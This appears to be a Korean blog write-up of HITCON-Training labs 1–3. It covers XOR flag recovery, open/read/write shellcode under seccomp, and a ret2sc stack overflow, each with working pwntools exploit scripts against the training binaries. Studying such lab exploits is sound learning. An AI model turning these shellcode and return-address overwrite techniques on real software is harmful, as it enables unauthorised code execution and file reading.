Lab1
#include <stdio.h>
#include <unistd.h>
void get_flag(){
int fd ;
int password;
int magic ;
char key[] = "Do_you_know_why_my_teammate_Orange_is_so_angry???";
char cipher[] = {7, 59, 25, 2, 11, 16, 61, 30, 9, 8, 18, 45, 40, 89, 10, 0, 30, 22, 0, 4, 85, 22, 8, 31, 7, 1, 9, 0, 126, 28, 62, 10, 30, 11, 107, 4, 66, 60, 44, 91, 49, 85, 2, 30, 33, 16, 76, 30, 66};
fd = open("/dev/urandom",0);
read(fd,&password,4);
printf("Give me maigc :");
scanf("%d",&magic);
if(password == magic){
for(int i = 0 ; i < sizeof(cipher) ; i++){
printf("%c",cipher[i]^key[i]);
}
}
}
int main(){
setvbuf(stdout,0,2,0);
get_flag();
return 0 ;
}
get_flag 함수를 통해 flag를 구하는데, key와 cipher 배열이 있어서 xor 연산을 통해 쉽게 답을 획득할 수 있습니다.
key = "Do_you_know_why_my_teammate_Orange_is_so_angry???"
cipher = [7, 59, 25, 2, 11, 16, 61, 30, 9, 8, 18, 45, 40, 89, 10, 0, 30, 22, 0, 4, 85, 22, 8, 31, 7, 1, 9, 0, 126, 28, 62, 10, 30, 11, 107, 4, 66, 60, 44, 91, 49, 85, 2, 30, 33, 16, 76, 30, 66]
res = []
for i in range(len(key)):
tmp = ord(key[i])^cipher[i]
print(chr(tmp), end='')
Lab2
gdb-peda$ pdisas main
Dump of assembler code for function main:
0x08048548 <+0>: lea ecx,[esp+0x4]
0x0804854c <+4>: and esp,0xfffffff0
0x0804854f <+7>: push DWORD PTR [ecx-0x4]
0x08048552 <+10>: push ebp
0x08048553 <+11>: mov ebp,esp
0x08048555 <+13>: push ecx
0x08048556 <+14>: sub esp,0x4
0x08048559 <+17>: call 0x80484cb <orw_seccomp>
0x0804855e <+22>: sub esp,0xc
0x08048561 <+25>: push 0x80486a0
0x08048566 <+30>: call 0x8048380 <printf@plt>
0x0804856b <+35>: add esp,0x10
0x0804856e <+38>: sub esp,0x4
0x08048571 <+41>: push 0xc8
0x08048576 <+46>: push 0x804a060
0x0804857b <+51>: push 0x0
0x0804857d <+53>: call 0x8048370 <read@plt>
0x08048582 <+58>: add esp,0x10
0x08048585 <+61>: mov eax,0x804a060
0x0804858a <+66>: call eax
0x0804858c <+68>: mov eax,0x0
0x08048591 <+73>: mov ecx,DWORD PTR [ebp-0x4]
0x08048594 <+76>: leave
0x08048595 <+77>: lea esp,[ecx-0x4]
0x08048598 <+80>: ret
End of assembler dump.
gdb-peda$
소스코드 파일은 없어서 gdb로 바이너리를 분석한 결과, seccomp 함수를 통해 샌드박스 기능을 제공하고 실행하면 쉘코드를 입력하라고 하는 걸 보아 쉘코드를 입력하면 이를 실행해주는 바이너리임을 유추할 수 있습니다. (main+66을 보면 call eax를 통해 사용자가 입력한 값을 실행함)
하지만 seccomp로 인해 read, write를 제외한 시스템 콜은 사용하지 못하므로, flag 파일을 읽는 쉘코드를 작성했다.
from pwn import *
r = process('./orw.bin')
r.recvuntil(":")
context(arch='i386', os='linux')
sc=""
sc+=shellcraft.open("/home/leehahoon/HITCON-Training/LAB/lab2/flag")
sc+=shellcraft.read('eax', 'esp', 500)
sc+=shellcraft.write(1,'esp',500)
r.sendline(asm(sc))
Lab3
#include <stdio.h>
char name[50];
int main(){
setvbuf(stdout,0,2,0);
printf("Name:");
read(0,name,50);
char buf[20];
printf("Try your best:");
gets(buf);
return ;
}
간단한 BOF다. 전역변수 name에 쉘코드를 저장하고 ret을 name의 주소로 덮어 쉘을 획득했다.(gdb로 분석하면 간단히 name의 주소를 확인할 수 있다.)
from pwn import *
p = process('./ret2sc')
sc = asm(shellcraft.sh())
p.recvuntil(':')
p.sendline(sc)
p.recvuntil(':')
payload = b"A"*32
payload += p32(0x804a060)
p.sendline(payload)
p.interactive()
'Security' 카테고리의 다른 글
HITCON Training lab4 ~ 5 (0) | 2020.10.30 |
---|---|
Oneshot 가젯 (0) | 2020.10.16 |
CODEGATE 2019 컨퍼런스 후기 (0) | 2019.03.30 |
Code Injection (0) | 2019.03.11 |
DLL Injection (0) | 2019.01.20 |